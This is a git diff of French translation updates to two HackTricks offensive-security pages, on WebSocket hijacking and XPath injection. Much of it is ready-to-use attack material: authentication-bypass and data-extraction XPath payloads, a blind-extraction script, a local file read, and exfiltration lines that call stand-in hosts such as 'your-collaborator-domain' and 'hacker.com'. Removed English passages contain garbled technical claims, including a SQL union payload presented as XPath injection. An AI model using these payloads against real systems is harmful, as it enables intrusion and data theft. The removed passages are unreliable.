@ -119,11 +121,11 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
|||
```
|
||||
### Cross Origin + Cookie avec un sous-domaine différent
|
||||
|
||||
Dans cet article de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), l'attaquant a réussi à **exécuter du code JavaScript arbitraire dans un sous-domaine** du domaine où la communication du websocket avait lieu. Étant donné que c'était un **sous-domaine**, le **cookie** était **envoyé**, et parce que le **Websocket ne vérifiait pas correctement l'Origine**, il était possible de communiquer avec lui et de **voler des jetons**.
|
||||
Dans cet article de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), l'attaquant a réussi à **exécuter du Javascript arbitraire dans un sous-domaine** du domaine où se déroulait la communication par web socket. Comme il s'agissait d'un **sous-domaine**, le **cookie** était **envoyé**, et parce que le **Websocket ne vérifiait pas correctement l'Origine**, il était possible de communiquer avec lui et **de voler des jetons**.
|
||||
|
||||
### Vol de données utilisateur
|
||||
|
||||
Copiez l'application web que vous souhaitez usurper (les fichiers .html par exemple) et ajoutez ce code à l'intérieur du script où la communication du websocket a lieu :
|
||||
Copiez l'application web que vous souhaitez usurper (les fichiers .html par exemple) et dans le script où se déroule la communication websocket, ajoutez ce code :
|
||||
```javascript
|
||||
//This is the script tag to load the websocket hooker
|
||||
<script src='wsHook.js'></script>
|
||||
|
@ -148,17 +150,17 @@ En exposant l'application web et en faisant en sorte qu'un utilisateur s'y conne
|
|||
```javascript
|
||||
sudo python3 -m http.server 80
|
||||
```
|
||||
## Conditions de concurrence
|
||||
## Conditions de course
|
||||
|
||||
Les conditions de concurrence dans les WebSockets sont également un problème, [consultez ces informations pour en savoir plus](race-condition.md#rc-in-websockets).
|
||||
Les Conditions de course dans les WebSockets sont également possibles, [consultez ces informations pour en savoir plus](race-condition.md#rc-in-websockets).
|
||||
|
||||
## Autres vulnérabilités
|
||||
|
||||
Étant donné que les WebSockets sont un mécanisme permettant d'envoyer des données côté serveur et côté client, en fonction de la manière dont le serveur et le client traitent les informations, les WebSockets peuvent être utilisés pour exploiter plusieurs autres vulnérabilités telles que XSS, SQLi ou toute autre vulnérabilité web courante en utilisant les entrées d'un utilisateur provenant d'un WebSocket.
|
||||
Comme les Web Sockets sont un mécanisme pour **envoyer des données au serveur et au client**, selon la manière dont le serveur et le client gèrent les informations, **les Web Sockets peuvent être utilisés pour exploiter plusieurs autres vulnérabilités comme XSS, SQLi ou toute autre vulnérabilité web commune en utilisant l'entrée d'un utilisateur à partir d'un websocket.**
|
||||
|
||||
## **WebSocket Smuggling**
|
||||
|
||||
Cette vulnérabilité pourrait vous permettre de contourner les restrictions des serveurs mandataires inverses en les amenant à croire qu'une communication WebSocket a été établie (même si ce n'est pas vrai). Cela pourrait permettre à un attaquant d'accéder à des points de terminaison cachés. Pour plus d'informations, consultez la page suivante :
|
||||
Cette vulnérabilité pourrait vous permettre de **contourner les restrictions des reverse proxies** en leur faisant croire qu'une **communication websocket a été établie** (même si ce n'est pas vrai). Cela pourrait permettre à un attaquant d'**accéder à des points de terminaison cachés**. Pour plus d'informations, consultez la page suivante :
|
||||
|
||||
{% content-ref url="h2c-smuggling.md" %}
|
||||
[h2c-smuggling.md](h2c-smuggling.md)
|
||||
|
@ -170,12 +172,14 @@ Cette vulnérabilité pourrait vous permettre de contourner les restrictions des
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS du débutant à l'expert avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,99 +2,102 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes !
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
|
||||
|
||||
**Perspectives de piratage**\
|
||||
Engagez-vous avec du contenu qui explore les sensations et les défis du piratage
|
||||
**Aperçus de Piratage**\
|
||||
Engagez-vous avec du contenu qui plonge dans l'excitation et les défis du piratage
|
||||
|
||||
**Actualités de piratage en temps réel**\
|
||||
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel
|
||||
**Nouvelles de Piratage en Temps Réel**\
|
||||
Restez à jour avec le monde du piratage rapide grâce à des nouvelles et des aperçus en temps réel
|
||||
|
||||
**Dernières annonces**\
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
**Dernières Annonces**\
|
||||
Restez informé avec le lancement des dernières primes de bugs et les mises à jour cruciales de la plateforme
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
## **Syntaxe de base**
|
||||
## **Syntaxe de Base**
|
||||
|
||||
L'injection XPATH est une technique d'attaque utilisée pour exploiter les applications qui construisent des requêtes XPath (XML Path Language) à partir d'entrées fournies par l'utilisateur pour interroger ou naviguer dans des documents XML.
|
||||
L'injection XPATH est une technique d'attaque utilisée pour exploiter des applications qui construisent des requêtes XPATH (XML Path Language) à partir d'entrées fournies par l'utilisateur pour interroger ou naviguer dans des documents XML.
|
||||
|
||||
Informations sur la façon de faire des requêtes : [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
|
||||
Informations sur comment faire des requêtes : [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
|
||||
|
||||
### Noeuds
|
||||
### Nœuds
|
||||
|
||||
| Expression | Description |
|
||||
| ---------- | ----------------------------------------------------------------------------------------------------- |
|
||||
| nodename | Sélectionne tous les noeuds avec le nom "nodename" |
|
||||
| / | Sélectionne à partir du noeud racine |
|
||||
| // | Sélectionne les noeuds dans le document à partir du noeud actuel qui correspondent à la sélection, peu importe où ils se trouvent |
|
||||
| . | Sélectionne le noeud actuel |
|
||||
| .. | Sélectionne le parent du noeud actuel |
|
||||
| @ | Sélectionne les attributs |
|
||||
| nodename | Sélectionne tous les nœuds avec le nom "nodename" |
|
||||
| / | Sélectionne à partir du nœud racine |
|
||||
| // | Sélectionne les nœuds dans le document à partir du nœud actuel qui correspondent à la sélection, peu importe où ils se trouvent |
|
||||
| . | Sélectionne le nœud actuel |
|
||||
| .. | Sélectionne le parent du nœud actuel |
|
||||
| @ | Sélectionne les attributs |
|
||||
|
||||
### **Exemples :**
|
||||
|
||||
| Expression de chemin | Résultat |
|
||||
| --------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| bookstore | Sélectionne tous les noeuds avec le nom "bookstore" |
|
||||
| /bookstore | Sélectionne l'élément racine bookstore**Note:** Si le chemin commence par un slash ( / ), il représente toujours un chemin absolu vers un élément ! |
|
||||
| bookstore/book | Sélectionne tous les éléments book qui sont des enfants de bookstore |
|
||||
| //book | Sélectionne tous les éléments book peu importe où ils se trouvent dans le document |
|
||||
| bookstore//book | Sélectionne tous les éléments book qui sont des descendants de l'élément bookstore, peu importe où ils se trouvent sous l'élément bookstore |
|
||||
| //@lang | Sélectionne tous les attributs qui s'appellent lang |
|
||||
| Expression de Chemin | Résultat |
|
||||
| -------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| bookstore | Sélectionne tous les nœuds avec le nom "bookstore" |
|
||||
| /bookstore | Sélectionne l'élément racine bookstore**Note :** Si le chemin commence par une barre oblique ( / ), il représente toujours un chemin absolu vers un élément ! |
|
||||
| bookstore/book | Sélectionne tous les éléments livre qui sont enfants de bookstore |
|
||||
| //book | Sélectionne tous les éléments livre peu importe où ils se trouvent dans le document |
|
||||
| bookstore//book | Sélectionne tous les éléments livre qui sont descendants de l'élément bookstore, peu importe où ils se trouvent sous l'élément bookstore |
|
||||
| //@lang | Sélectionne tous les attributs nommés lang |
|
||||
|
||||
### Prédicats
|
||||
|
||||
| Expression de chemin | Résultat |
|
||||
| ----------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| /bookstore/book\[1] | <p>Sélectionne le premier élément book qui est un enfant de l'élément bookstore.<strong>Note:</strong> Dans IE 5,6,7,8,9, le premier noeud est [0], mais selon le W3C, c'est [1]. Pour résoudre ce problème dans IE, définissez SelectionLanguage sur XPath :</p><p>En JavaScript : xml.setProperty("SelectionLanguage","XPath");</p> |
|
||||
| /bookstore/book\[last()] | Sélectionne le dernier élément book qui est un enfant de l'élément bookstore |
|
||||
| /bookstore/book\[last()-1] | Sélectionne l'avant-dernier élément book qui est un enfant de l'élément bookstore |
|
||||
| /bookstore/book\[position()<3] | Sélectionne les deux premiers éléments book qui sont des enfants de l'élément bookstore |
|
||||
| //title\[@lang] | Sélectionne tous les éléments title qui ont un attribut appelé lang |
|
||||
| //title\[@lang='en'] | Sélectionne tous les éléments title qui ont un attribut "lang" avec une valeur de "en" |
|
||||
| /bookstore/book\[price>35.00] | Sélectionne tous les éléments book de l'élément bookstore qui ont un élément price avec une valeur supérieure à 35.00 |
|
||||
| /bookstore/book\[price>35.00]/title | Sélectionne tous les éléments title des éléments book de l'élément bookstore qui ont un élément price avec une valeur supérieure à 35.00 |
|
||||
| Expression de Chemin | Résultat |
|
||||
| ---------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| /bookstore/book\[1] | <p>Sélectionne le premier élément livre qui est enfant de l'élément bookstore.<strong>Note :</strong> Dans IE 5,6,7,8,9 le premier nœud est [0], mais selon le W3C, c'est [1]. Pour résoudre ce problème dans IE, définissez le SelectionLanguage sur XPath :</p><p>En JavaScript : xml.setProperty("SelectionLanguage","XPath");</p> |
|
||||
| /bookstore/book\[last()] | Sélectionne le dernier élément livre qui est enfant de l'élément bookstore |
|
||||
| /bookstore/book\[last()-1] | Sélectionne l'avant-dernier élément livre qui est enfant de l'élément bookstore |
|
||||
| /bookstore/book\[position()<3] | Sélectionne les deux premiers éléments livre qui sont enfants de l'élément bookstore |
|
||||
| //title\[@lang] | Sélectionne tous les éléments titre qui ont un attribut nommé lang |
|
||||
| //title\[@lang='en'] | Sélectionne tous les éléments titre qui ont un attribut "lang" avec une valeur de "en" |
|
||||
| /bookstore/book\[price>35.00] | Sélectionne tous les éléments livre de l'élément bookstore qui ont un élément prix avec une valeur supérieure à 35.00 |
|
||||
| /bookstore/book\[price>35.00]/title | Sélectionne tous les éléments titre des éléments livre de l'élément bookstore qui ont un élément prix avec une valeur supérieure à 35.00 |
|
||||
|
||||
### Noeuds inconnus
|
||||
### Nœuds Inconnus
|
||||
|
||||
| Jocker | Description |
|
||||
| -------- | ---------------------------- |
|
||||
| \* | Correspond à n'importe quel noeud élément |
|
||||
| @\* | Correspond à n'importe quel noeud attribut |
|
||||
| node() | Correspond à n'importe quel noeud de n'importe quel type |
|
||||
### **Exemples:**
|
||||
| Caractère générique | Description |
|
||||
| ------------------- | ---------------------------- |
|
||||
| \* | Correspond à tout nœud élément |
|
||||
| @\* | Correspond à tout nœud attribut |
|
||||
| node() | Correspond à tout nœud de tout type |
|
||||
|
||||
| Expression de chemin | Résultat |
|
||||
| ------------------- | ------------------------------------------------------------------------ |
|
||||
| /librairie/\* | Sélectionne tous les nœuds enfants de l'élément librairie |
|
||||
| //\* | Sélectionne tous les éléments du document |
|
||||
| //titre\[@\*] | Sélectionne tous les éléments titre qui ont au moins un attribut quelconque |
|
||||
### **Exemples :**
|
||||
|
||||
| Expression de Chemin | Résultat |
|
||||
| -------------------- | ------------------------------------------------------------------------ |
|
||||
| /bookstore/\* | Sélectionne tous les nœuds éléments enfants de l'élément bookstore |
|
||||
| //\* | Sélectionne tous les éléments dans le document |
|
||||
| //title\[@\*] | Sélectionne tous les éléments titre qui ont au moins un attribut de n'importe quel type |
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
|
||||
|
||||
**Perspectives de piratage**\
|
||||
Engagez-vous avec du contenu qui explore les sensations et les défis du piratage
|
||||
**Aperçus de Piratage**\
|
||||
Engagez-vous avec du contenu qui plonge dans l'excitation et les défis du piratage
|
||||
|
||||
**Actualités de piratage en temps réel**\
|
||||
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel
|
||||
**Nouvelles de Piratage en Temps Réel**\
|
||||
Restez à jour avec le monde du piratage rapide grâce à des nouvelles et des aperçus en temps réel
|
||||
|
||||
**Dernières annonces**\
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
**Dernières Annonces**\
|
||||
Restez informé avec le lancement des dernières primes de bugs et les mises à jour cruciales de la plateforme
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
|
@ -120,32 +123,6 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc
|
|||
</data>
|
||||
```
|
||||
### Accéder aux informations
|
||||
|
||||
XPath Injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML databases. By injecting malicious XPath expressions into user input fields, an attacker can manipulate the query and gain unauthorized access to sensitive information.
|
||||
|
||||
To access the information, an attacker needs to identify a vulnerable input field that is used in an XPath query. This can typically be found in search forms, login pages, or any other functionality that involves querying XML data.
|
||||
|
||||
Once a vulnerable input field is identified, the attacker can start injecting malicious XPath expressions. These expressions are used to modify the original query and retrieve additional data that was not intended to be exposed.
|
||||
|
||||
For example, consider a search form that uses an XPath query to retrieve user information from an XML database. The query may look like this:
|
||||
|
||||
```xml
|
||||
//users/user[name='John']
|
||||
```
|
||||
|
||||
By injecting a malicious expression like `' or 1=1 or ''='`, the attacker can modify the query to retrieve all user information:
|
||||
|
||||
```xml
|
||||
//users/user[name='John' or 1=1 or ''='']
|
||||
```
|
||||
|
||||
This modified query will return all user information, regardless of the name specified in the search form.
|
||||
|
||||
To prevent XPath Injection attacks, it is important to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for special characters and ensuring that the input conforms to the expected format.
|
||||
|
||||
Additionally, using parameterized XPath queries can help mitigate XPath Injection attacks. Parameterized queries separate the query logic from the user input, making it harder for attackers to manipulate the query.
|
||||
|
||||
By understanding and exploiting XPath Injection vulnerabilities, attackers can gain unauthorized access to sensitive information stored in XML databases. It is crucial for developers and security professionals to be aware of this technique and take appropriate measures to protect against it.
|
||||
```
|
||||
All names - [pepe, mark, fino]
|
||||
name
|
||||
|
@ -173,22 +150,6 @@ string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe
|
|||
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
|
||||
```
|
||||
### Identifier et voler le schéma
|
||||
|
||||
XPath injection can be used to identify and steal the schema of a web application's database. By injecting malicious XPath queries, an attacker can extract sensitive information about the database structure, such as table names, column names, and data types.
|
||||
|
||||
To perform this attack, the attacker needs to identify a vulnerable input field that is used in an XPath query. This can typically be found in search forms, login forms, or any other input field that is used to construct an XPath query.
|
||||
|
||||
Once a vulnerable input field is identified, the attacker can start injecting malicious XPath queries to extract the schema information. For example, the following XPath query can be used to retrieve the names of all tables in the database:
|
||||
|
||||
```plaintext
|
||||
' or 1=1 or 'a'='a' union select table_name from information_schema.tables--
|
||||
```
|
||||
|
||||
In this query, the `information_schema.tables` table is used to retrieve the names of all tables. The injected query is appended to the original XPath query, effectively bypassing any input validation or sanitization.
|
||||
|
||||
By analyzing the response from the web application, the attacker can extract the table names and further explore the database schema. This information can be used to plan further attacks, such as SQL injection or data exfiltration.
|
||||
|
||||
It is important for developers to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for malicious characters and using parameterized queries or prepared statements to prevent injection attacks.
|
||||
```python
|
||||
and count(/*) = 1 #root
|
||||
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
|
||||
|
@ -230,7 +191,7 @@ doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]
|
|||
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
|
||||
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
|
||||
```
|
||||
### **Contournement de l'opérateur OR dans l'utilisateur et le mot de passe (même valeur dans les deux)**
|
||||
### **Contournement OR dans l'utilisateur et le mot de passe (même valeur dans les deux)**
|
||||
```
|
||||
' or '1'='1
|
||||
" or "1"="1
|
||||
|
@ -242,34 +203,12 @@ Select account
|
|||
Select the account using the username and use one of the previous values in the password field
|
||||
```
|
||||
### **Abus de l'injection null**
|
||||
|
||||
Null injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML documents. XPath is a language used to navigate through XML structures and extract specific information.
|
||||
|
||||
In a null injection attack, the attacker manipulates the XPath query by injecting a null character (`\x00`) to bypass input validation and retrieve unintended data. This can lead to unauthorized access to sensitive information or even the execution of arbitrary code.
|
||||
|
||||
To perform a null injection attack, the attacker needs to identify a vulnerable input field that is used in an XPath query. The attacker then injects the null character at a strategic point in the input, causing the XPath query to terminate prematurely and ignore the remaining part of the query.
|
||||
|
||||
For example, consider the following vulnerable XPath query:
|
||||
|
||||
```xml
|
||||
//users/user[name/text()='admin' and password/text()='password']
|
||||
```
|
||||
|
||||
To exploit this vulnerability, the attacker can inject a null character after the `name` parameter, like this:
|
||||
|
||||
```xml
|
||||
//users/user[name/text()='admin\x00' and password/text()='password']
|
||||
```
|
||||
|
||||
This causes the XPath query to only consider the `name` parameter and ignore the `password` parameter, effectively bypassing the authentication check.
|
||||
|
||||
Null injection attacks can be mitigated by implementing proper input validation and sanitization techniques. It is important for developers to validate and sanitize user input before using it in XPath queries to prevent these types of vulnerabilities.
|
||||
```
|
||||
Username: ' or 1]%00
|
||||
```
|
||||
### **Double OU dans le nom d'utilisateur ou dans le mot de passe** (est valide avec seulement 1 champ vulnérable)
|
||||
### **Double OU dans le nom d'utilisateur ou dans le mot de passe** (valide avec seulement 1 champ vulnérable)
|
||||
|
||||
IMPORTANT: Remarquez que **"et" est la première opération effectuée**.
|
||||
IMPORTANT : Remarquez que le **"et" est la première opération effectuée**.
|
||||
```
|
||||
Bypass with first match
|
||||
(This requests are also valid without spaces)
|
||||
|
@ -291,9 +230,9 @@ admin' or '
|
|||
admin' or '1'='2
|
||||
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
|
||||
```
|
||||
## Extraction de chaînes de caractères
|
||||
## Extraction de chaînes
|
||||
|
||||
La sortie contient des chaînes de caractères et l'utilisateur peut manipuler les valeurs pour effectuer une recherche :
|
||||
La sortie contient des chaînes et l'utilisateur peut manipuler les valeurs pour effectuer une recherche :
|
||||
```
|
||||
/user/username[contains(., '+VALUE+')]
|
||||
```
|
||||
|
@ -312,9 +251,9 @@ La sortie contient des chaînes de caractères et l'utilisateur peut manipuler l
|
|||
')] | //user/*[3] | a[(' #The password of all users
|
||||
')] | //user/*[4] | a[(' #The account of all users
|
||||
```
|
||||
## Exploitation en aveugle
|
||||
## Exploitation Aveugle
|
||||
|
||||
### **Obtenir la longueur d'une valeur et l'extraire par des comparaisons :**
|
||||
### **Obtenir la longueur d'une valeur et l'extraire par comparaisons :**
|
||||
```bash
|
||||
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
|
||||
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
|
||||
|
@ -344,57 +283,11 @@ flag += al
|
|||
print("[+] Flag: " + flag)
|
||||
break
|
||||
```
|
||||
### Lire un fichier
|
||||
|
||||
L'injection XPath est une technique d'attaque utilisée pour extraire des données à partir d'une application Web vulnérable en exploitant les vulnérabilités de l'interrogation XPath. L'interrogation XPath est un langage de requête utilisé pour extraire des informations à partir de documents XML.
|
||||
|
||||
Lorsqu'une application Web utilise des entrées utilisateur non filtrées pour construire des requêtes XPath, il est possible d'injecter du code XPath malveillant pour manipuler la requête et extraire des données sensibles. Cela peut se produire lorsque l'application construit dynamiquement une requête XPath en concaténant des chaînes de caractères avec des entrées utilisateur.
|
||||
|
||||
Pour exploiter une injection XPath, il est nécessaire de comprendre la structure de la requête XPath utilisée par l'application cible. Cela peut être découvert en analysant le code source de l'application ou en utilisant des outils d'exploration automatisés.
|
||||
|
||||
Une fois que la structure de la requête XPath est connue, il est possible d'injecter du code XPath malveillant pour extraire des données spécifiques. Par exemple, en utilisant des opérateurs logiques tels que `or` et `and`, il est possible de contourner les conditions de filtrage et d'extraire toutes les données de la base de données.
|
||||
|
||||
Voici un exemple de requête XPath vulnérable :
|
||||
|
||||
```xml
|
||||
//user[@username='" + username + "']
|
||||
```
|
||||
|
||||
Dans cet exemple, la valeur de l'entrée utilisateur `username` est concaténée avec la requête XPath. Si l'entrée utilisateur n'est pas correctement filtrée, il est possible d'injecter du code XPath malveillant pour extraire des données non autorisées.
|
||||
|
||||
Pour se protéger contre les injections XPath, il est important de filtrer et de valider correctement toutes les entrées utilisateur utilisées dans les requêtes XPath. Il est recommandé d'utiliser des fonctions de filtrage spécifiques pour les requêtes XPath, telles que `contains`, `starts-with` et `ends-with`, pour limiter les possibilités d'injection de code malveillant.
|
||||
|
||||
En résumé, l'injection XPath est une technique d'attaque utilisée pour extraire des données à partir d'une application Web vulnérable en exploitant les vulnérabilités de l'interrogation XPath. Pour se protéger contre cette attaque, il est essentiel de filtrer et de valider correctement toutes les entrées utilisateur utilisées dans les requêtes XPath.
|
||||
### Lire le fichier
|
||||
```python
|
||||
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
|
||||
```
|
||||
## Exploitation OOB
|
||||
|
||||
Out-of-Band (OOB) exploitation is a technique used in XPath injection attacks to extract data from a vulnerable web application. XPath injection occurs when an attacker is able to manipulate an XPath query used by the application to retrieve data from an XML document.
|
||||
|
||||
During an OOB exploitation, the attacker crafts a malicious XPath query that includes a request to an external server controlled by the attacker. This request is designed to trigger a response from the server, which can then be used to extract sensitive information from the target application.
|
||||
|
||||
The OOB exploitation technique can be divided into two main categories: blind and error-based.
|
||||
|
||||
### Blind OOB Exploitation
|
||||
|
||||
In blind OOB exploitation, the attacker is unable to directly observe the response from the external server. Instead, the attacker relies on the application's behavior to determine if the injected XPath query was successful.
|
||||
|
||||
One common method used in blind OOB exploitation is to leverage the application's DNS resolution capabilities. By injecting an XPath query that includes a request to a domain controlled by the attacker, the attacker can monitor DNS requests made by the application. This allows the attacker to indirectly extract data from the application by encoding the desired information in the DNS requests.
|
||||
|
||||
Another approach is to use out-of-band channels such as HTTP requests or email notifications. The attacker can craft an XPath query that triggers a request to a server controlled by the attacker, which then sends an HTTP request or an email containing the extracted data.
|
||||
|
||||
### Error-Based OOB Exploitation
|
||||
|
||||
In error-based OOB exploitation, the attacker is able to directly observe the response from the external server. This is typically achieved by injecting an XPath query that intentionally causes an error in the application.
|
||||
|
||||
By carefully crafting the injected query, the attacker can force the application to generate an error message that includes the extracted data. This error message is then sent to the external server controlled by the attacker, allowing them to retrieve the sensitive information.
|
||||
|
||||
Error-based OOB exploitation can be more reliable than blind OOB exploitation, as the attacker can directly observe the response and extract the data without relying on indirect methods.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Out-of-Band (OOB) exploitation is a powerful technique used in XPath injection attacks to extract data from vulnerable web applications. By leveraging external servers and observing the application's behavior, an attacker can successfully retrieve sensitive information. Blind and error-based OOB exploitation are two common approaches used in XPath injection attacks, each with its own advantages and limitations.
|
||||
## Exploitation Hors-Bande
|
||||
```python
|
||||
doc(concat("http://hacker.com/oob/", RESULTS))
|
||||
